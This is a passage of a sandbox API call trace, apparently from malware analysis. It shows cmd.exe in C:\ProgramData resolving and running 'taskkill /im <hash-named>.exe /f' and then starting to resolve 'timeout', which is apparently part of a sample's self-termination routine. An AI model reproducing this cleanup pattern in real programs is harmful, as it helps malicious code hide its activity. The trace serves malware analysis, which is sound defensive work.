16 [0161.973] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0161.973] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0161.973] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0161.973] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0161.973] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0161.973] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0161.973] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0161.973] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0161.973] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0161.973] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0161.973] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0161.973] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0161.973] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0161.973] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0161.973] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0161.973] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0161.973] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0161.973] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0161.973] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0161.973] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0161.973] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0161.973] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0161.973] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0161.974] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0161.974] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0161.974] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0161.974] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0161.974] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0161.974] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0161.974] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0161.974] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0161.974] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0161.974] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0161.974] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0161.974] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0161.974] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0161.974] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0161.974] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0161.974] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0161.974] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0161.974] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0161.974] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0161.974] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0161.975] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0161.975] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0161.975] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0161.975] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0161.975] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0161.975] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0161.975] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0161.975] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0161.975] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0161.975] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0161.975] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0161.975] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0161.975] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0161.975] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0161.975] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0161.975] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0161.975] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0161.975] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0161.975] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0161.975] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0161.975] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0161.975] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0161.975] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0161.975] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0161.976] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0161.976] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0161.976] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0161.976] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0161.976] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14 [0161.976] _wcsicmp (_String1="taskkill", _String2="IF") returned 11 [0161.976] _wcsicmp (_String1="taskkill", _String2="REM") returned 2 [0161.976] GetProcessHeap () returned 0x5e0000 [0161.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x210) returned 0x5e06e8 [0161.977] GetProcessHeap () returned 0x5e0000 [0161.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xb6) returned 0x5e0900 [0161.977] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17 [0161.977] GetProcessHeap () returned 0x5e0000 [0161.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x418) returned 0x5e09c0 [0161.977] SetErrorMode (uMode=0x0) returned 0x0 [0161.977] SetErrorMode (uMode=0x1) returned 0x0 [0161.977] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5e09c8, lpFilePart=0x19f51c | out: lpBuffer="C:\\ProgramData", lpFilePart=0x19f51c*="ProgramData") returned 0xe [0161.977] SetErrorMode (uMode=0x0) returned 0x1 [0161.978] GetProcessHeap () returned 0x5e0000 [0161.978] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5e09c0, Size=0x38) returned 0x5e09c0 [0161.978] GetProcessHeap () returned 0x5e0000 [0161.978] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5e09c0) returned 0x38 [0161.978] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x119f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x63 [0161.978] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.978] GetProcessHeap () returned 0x5e0000 [0161.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xf2) returned 0x5e0a00 [0161.978] GetProcessHeap () returned 0x5e0000 [0161.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1dc) returned 0x5e0b00 [0161.985] GetProcessHeap () returned 0x5e0000 [0161.985] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5e0b00, Size=0xf4) returned 0x5e0b00 [0161.985] GetProcessHeap () returned 0x5e0000 [0161.985] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5e0b00) returned 0xf4 [0161.985] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x119f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0161.985] GetProcessHeap () returned 0x5e0000 [0161.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xe0) returned 0x5e0c00 [0161.986] GetProcessHeap () returned 0x5e0000 [0161.986] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5e0c00, Size=0x76) returned 0x5e0c00 [0161.986] GetProcessHeap () returned 0x5e0000 [0161.986] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5e0c00) returned 0x76 [0161.986] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.987] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x19f2a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f2a8) returned 0xffffffff [0161.987] GetLastError () returned 0x2 [0161.987] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.987] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x19f2a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f2a8) returned 0x5e0c80 [0161.988] GetProcessHeap () returned 0x5e0000 [0161.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x14) returned 0x5e7830 [0161.988] FindClose (in: hFindFile=0x5e0c80 | out: hFindFile=0x5e0c80) returned 1 [0161.988] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x19f2a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f2a8) returned 0xffffffff [0161.988] GetLastError () returned 0x2 [0161.988] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x19f2a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f2a8) returned 0x5e0c80 [0161.989] GetProcessHeap () returned 0x5e0000 [0161.989] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5e7830, Size=0x4) returned 0x5e0598 [0161.989] FindClose (in: hFindFile=0x5e0c80 | out: hFindFile=0x5e0c80) returned 1 [0161.989] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0161.989] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0161.989] GetConsoleTitleW (in: lpConsoleTitle=0x19f79c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0161.993] InitializeProcThreadAttributeList (in: lpAttributeList=0x19f6c8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x19f6ac | out: lpAttributeList=0x19f6c8, lpSize=0x19f6ac) returned 1 [0161.993] UpdateProcThreadAttribute (in: lpAttributeList=0x19f6c8, dwFlags=0x0, Attribute=0x60001, lpValue=0x19f6b4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x19f6c8, lpPreviousValue=0x0) returned 1 [0161.994] GetStartupInfoW (in: lpStartupInfo=0x19f700 | out: lpStartupInfo=0x19f700*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0161.994] GetProcessHeap () returned 0x5e0000 [0161.994] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x5e7a10 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0161.994] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0161.995] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0161.996] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0161.996] GetProcessHeap () returned 0x5e0000 [0161.996] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e7a10) returned 1 [0161.996] GetProcessHeap () returned 0x5e0000 [0161.996] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xa) returned 0x5e0c80 [0161.996] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0162.000] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill /im 7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe /f ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\ProgramData", lpStartupInfo=0x19f650*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill /im 7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe /f ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f69c | out: lpCommandLine="taskkill /im 7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe /f ", lpProcessInformation=0x19f69c*(hProcess=0xa8, hThread=0xa4, dwProcessId=0x1368, dwThreadId=0xe24)) returned 1 [0162.401] CloseHandle (hObject=0xa4) returned 1 [0162.401] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0162.401] GetProcessHeap () returned 0x5e0000 [0162.402] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eacd0) returned 1 [0162.402] GetEnvironmentStringsW () returned 0x5ea318* [0162.402] GetProcessHeap () returned 0x5e0000 [0162.402] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xb0a) returned 0x5eae30 [0162.402] FreeEnvironmentStringsA (penv="=") returned 1 [0162.402] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xffffffff) returned 0x0 [0167.947] GetExitCodeProcess (in: hProcess=0xa8, lpExitCode=0x19f634 | out: lpExitCode=0x19f634*=0x0) returned 1 [0167.947] CloseHandle (hObject=0xa8) returned 1 [0167.948] _vsnwprintf (in: _Buffer=0x19f71c, _BufferCount=0x13, _Format="%08X", _ArgList=0x19f63c | out: _Buffer="00000000") returned 8 [0167.948] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0167.948] GetProcessHeap () returned 0x5e0000 [0167.948] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eae30) returned 1 [0167.948] GetEnvironmentStringsW () returned 0x5ea318* [0167.948] GetProcessHeap () returned 0x5e0000 [0167.948] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xb30) returned 0x5ec480 [0167.948] FreeEnvironmentStringsA (penv="=") returned 1 [0167.948] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0167.948] GetProcessHeap () returned 0x5e0000 [0167.948] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5ec480) returned 1 [0167.948] GetEnvironmentStringsW () returned 0x5ea318* [0167.948] GetProcessHeap () returned 0x5e0000 [0167.948] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xb30) returned 0x5ec480 [0167.949] FreeEnvironmentStringsA (penv="=") returned 1 [0167.949] GetProcessHeap () returned 0x5e0000 [0167.949] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e0c80) returned 1 [0167.949] DeleteProcThreadAttributeList (in: lpAttributeList=0x19f6c8 | out: lpAttributeList=0x19f6c8) [0167.949] GetConsoleTitleW (in: lpConsoleTitle=0x19f9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0167.953] _wcsicmp (_String1="timeout", _String2="DIR") returned 16 [0167.953] _wcsicmp (_String1="timeout", _String2="ERASE") returned 15 [0167.953] _wcsicmp (_String1="timeout", _String2="DEL") returned 16 [0167.953] _wcsicmp (_String1="timeout", _String2="TYPE") returned -16 [0167.953] _wcsicmp (_String1="timeout", _String2="COPY") returned 17 [0167.953] _wcsicmp (_String1="timeout", _String2="CD") returned 17 [0167.953] _wcsicmp (_String1="timeout", _String2="CHDIR") returned 17 [0167.953] _wcsicmp (_String1="timeout", _String2="RENAME") returned 2 [0167.953] _wcsicmp (_String1="timeout", _String2="REN") returned 2 [0167.953] _wcsicmp (_String1="timeout", _String2="ECHO") returned 15 [0167.953] _wcsicmp (_String1="timeout", _String2="SET") returned 1 [0167.953] _wcsicmp (_String1="timeout", _String2="PAUSE") returned 4 [0167.953] _wcsicmp (_String1="timeout", _String2="DATE") returned 16 [0167.953] _wcsicmp (_String1="timeout", _String2="TIME") returned 111 [0167.953] _wcsicmp (_String1="timeout", _String2="PROMPT") returned 4 [0167.953] _wcsicmp (_String1="timeout", _String2="MD") returned 7 [0167.953] _wcsicmp (_String1="timeout", _String2="MKDIR") returned 7 [0167.953] _wcsicmp (_String1="timeout", _String2="RD") returned 2 [0167.953] _wcsicmp (_String1="timeout", _String2="RMDIR") returned 2 [0167.953] _wcsicmp (_String1="timeout", _String2="PATH") returned 4 [0167.953] _wcsicmp (_String1="timeout", _String2="GOTO") returned 13 [0167.954] _wcsicmp (_String1="timeout", _String2="SHIFT") returned 1 [0167.954] _wcsicmp (_String1="timeout", _String2="CLS") returned 17 [0167.954] _wcsicmp (_String1="timeout", _String2="CALL") returned 17 [0167.954] _wcsicmp (_String1="timeout", _String2="VERIFY") returned -2 [0167.954] _wcsicmp (_String1="timeout", _String2="VER") returned -2 [0167.954] _wcsicmp (_String1="timeout", _String2="VOL") returned -2 [0167.954] _wcsicmp (_String1="timeout", _String2="EXIT") returned 15 [0167.954] _wcsicmp (_String1="timeout", _String2="SETLOCAL") returned 1 [0167.954] _wcsicmp (_String1="timeout", _String2="ENDLOCAL") returned 15 [0167.954] _wcsicmp (_String1="timeout", _String2="TITLE") returned -7 [0167.954] _wcsicmp (_String1="timeout", _String2="START") returned 1 [0167.954] _wcsicmp (_String1="timeout", _String2="DPATH") returned 16 [0167.954] _wcsicmp (_String1="timeout", _String2="KEYS") returned 9 [0167.954] _wcsicmp (_String1="timeout", _String2="MOVE") returned 7 [0167.954] _wcsicmp (_String1="timeout", _String2="PUSHD") returned 4 [0167.954] _wcsicmp (_String1="timeout", _String2="POPD") returned 4 [0167.954] _wcsicmp (_String1="timeout", _String2="ASSOC") returned 19 [0167.954] _wcsicmp (_String1="timeout", _String2="FTYPE") returned 14 [0167.954] _wcsicmp (_String1="timeout", _String2="BREAK") returned 18 [0167.954] _wcsicmp (_String1="timeout", _String2="COLOR") returned 17 [0167.954] _wcsicmp (_String1="timeout", _String2="MKLINK") returned 7 [0167.955] _wcsicmp (_String1="timeout", _String2="DIR") returned 16 [0167.955] _wcsicmp (_String1="timeout", _String2="ERASE") returned 15 [0167.955] _wcsicmp (_String1="timeout", _String2="DEL") returned 16 [0167.955] _wcsicmp (_String1="timeout", _String2="TYPE") returned -16 [0167.955] _wcsicmp (_String1="timeout", _String2="COPY") returned 17 [0167.955] _wcsicmp (_String1="timeout", _String2="CD") returned 17 [0167.955] _wcsicmp (_String1="timeout", _String2="CHDIR") returned 17 [0167.955] _wcsicmp (_String1="timeout", _String2="RENAME") returned 2 [0167.955] _wcsicmp (_String1="timeout", _String2="REN") returned 2 [0167.955] _wcsicmp (_String1="timeout", _String2="ECHO") returned 15 [0167.955] _wcsicmp (_String1="timeout", _String2="SET") returned 1 [0167.955] _wcsicmp (_String1="timeout", _String2="PAUSE") returned 4 [0167.955] _wcsicmp (_String1="timeout", _String2="DATE") returned 16 [0167.955] _wcsicmp (_String1="timeout", _String2="TIME") returned 111 [0167.955] _wcsicmp (_String1="timeout", _String2="PROMPT") returned 4 [0167.955] _wcsicmp (_String1="timeout", _String2="MD") returned 7 [0167.955] _wcsicmp (_String1="timeout", _String2="MKDIR") returned 7 [0167.955] _wcsicmp (_String1="timeout", _String2="RD") returned 2 [0167.955] _wcsicmp (_String1="timeout", _String2="RMDIR") returned 2 [0167.955] _wcsicmp (_String1="timeout", _String2="PATH") returned 4 [0167.955] _wcsicmp (_String1="timeout", _String2="GOTO") returned 13 [0167.955] _wcsicmp (_String1="timeout", _String2="SHIFT") returned 1 [0167.955] _wcsicmp (_String1="timeout", _String2="CLS") returned 17 [0167.956] _wcsicmp (_String1="timeout", _String2="CALL") returned 17 [0167.956] _wcsicmp (_String1="timeout", _String2="VERIFY") returned -2 [0167.956] _wcsicmp (_String1="timeout", _String2="VER") returned -2 [0167.956] _wcsicmp (_String1="timeout", _String2="VOL") returned -2 [0167.956] _wcsicmp (_String1="timeout", _String2="EXIT") returned 15 [0167.956] _wcsicmp (_String1="timeout", _String2="SETLOCAL") returned 1 [0167.956] _wcsicmp (_String1="timeout", _String2="ENDLOCAL") returned 15 [0167.956] _wcsicmp (_String1="timeout", _String2="TITLE") returned -7 [0167.956] _wcsicmp (_String1="timeout", _String2="START") returned 1 [0167.956] _wcsicmp (_String1="timeout", _String2="DPATH") returned 16 [0167.956] _wcsicmp (_String1="timeout", _String2="KEYS") returned 9 [0167.956] _wcsicmp (_String1="timeout", _String2="MOVE") returned 7 [0167.956] _wcsicmp (_String1="timeout", _String2="PUSHD") returned 4 [0167.956] _wcsicmp (_String1="timeout", _String2="POPD") returned 4 [0167.956] _wcsicmp (_String1="timeout", _String2="ASSOC") returned 19 [0167.956] _wcsicmp (_String1="timeout", _String2="FTYPE") returned 14 [0167.956] _wcsicmp (_String1="timeout", _String2="BREAK") returned 18 [0167.956] _wcsicmp (_String1="timeout", _String2="COLOR") returned 17 [0167.956] _wcsicmp (_String1="timeout", _String2="MKLINK") returned 7 [0167.956] _wcsicmp (_String1="timeout", _String2="FOR") returned 14 [0167.956] _wcsicmp (_String1="timeout", _String2="IF") returned 11 [0167.956] _wcsicmp (_String1="timeout", _String2="REM") returned 2 [0167.957] GetProcessHeap () returned 0x5e0000 [0167.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x210) returned 0x5e0de0 [0167.957] GetProcessHeap () returned 0x5e0000 [0167.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x26) returned 0x5e0ff8 [0167.957] _wcsnicmp (_String1="time", _String2="cmd ", _MaxCount=0x4) returned 17 [0167.957] GetProcessHeap () returned 0x5e0000 [0167.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x418) returned 0x5e8348 [0167.957] SetErrorMode (uMode=0x0) returned 0x0 [0167.957] SetErrorMode (uMode=0x1) returned 0x0 [0167.957] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5e8350, lpFilePart=0x19f4bc | out: lpBuffer="C:\\ProgramData", lpFilePart=0x19f4bc*="ProgramData") returned 0xe [0167.957] SetErrorMode (uMode=0x0) returned 0x1 [0167.957] GetProcessHeap () returned 0x5e0000 [0167.957] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5e8348, Size=0x36) returned 0x5e8348 [0167.957] GetProcessHeap () returned 0x5e0000 [0167.957] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5e8348) returned 0x36 [0167.957] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x119f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x63 [0167.957] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0167.957] GetProcessHeap () returned 0x5e0000 [0167.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xf2) returned 0x5e8388 [0167.958] GetProcessHeap () returned 0x5e0000 [0167.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1dc) returned 0x5e8488 [0167.958] GetProcessHeap () returned 0x5e0000 [0167.958] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5e8488, Size=0xf4) returned 0x5e8488 [0167.958] GetProcessHeap () returned 0x5e0000 [0167.958] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5e8488) returned 0xf4 [0167.958] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x119f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0167.958] GetProcessHeap () returned 0x5e0000 [0167.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xe0) returned 0x5e8588 [0167.958] GetProcessHeap () returned 0x5e0000 [0167.958] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5e8588, Size=0x76) returned 0x5e8588 [0167.958] GetProcessHeap () returned 0x5e0000 [0167.958] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5e8588) returned 0x76 [0167.958] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.958] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\timeout.*", fInfoLevelId=0x1, lpFindFileData=0x19f248, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f248) returned 0xffffffff [0167.959] GetLastError () returned 0x2 [0167.959] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.959] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.*", fInfoLevelId=0x1, lpFindFileData=0x19f248, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f248) returned 0x5e1028 [0167.959] FindClose (in: hFindFile=0x5e1028 | out: hFindFile=0x5e1028) returned 1 [0167.959] 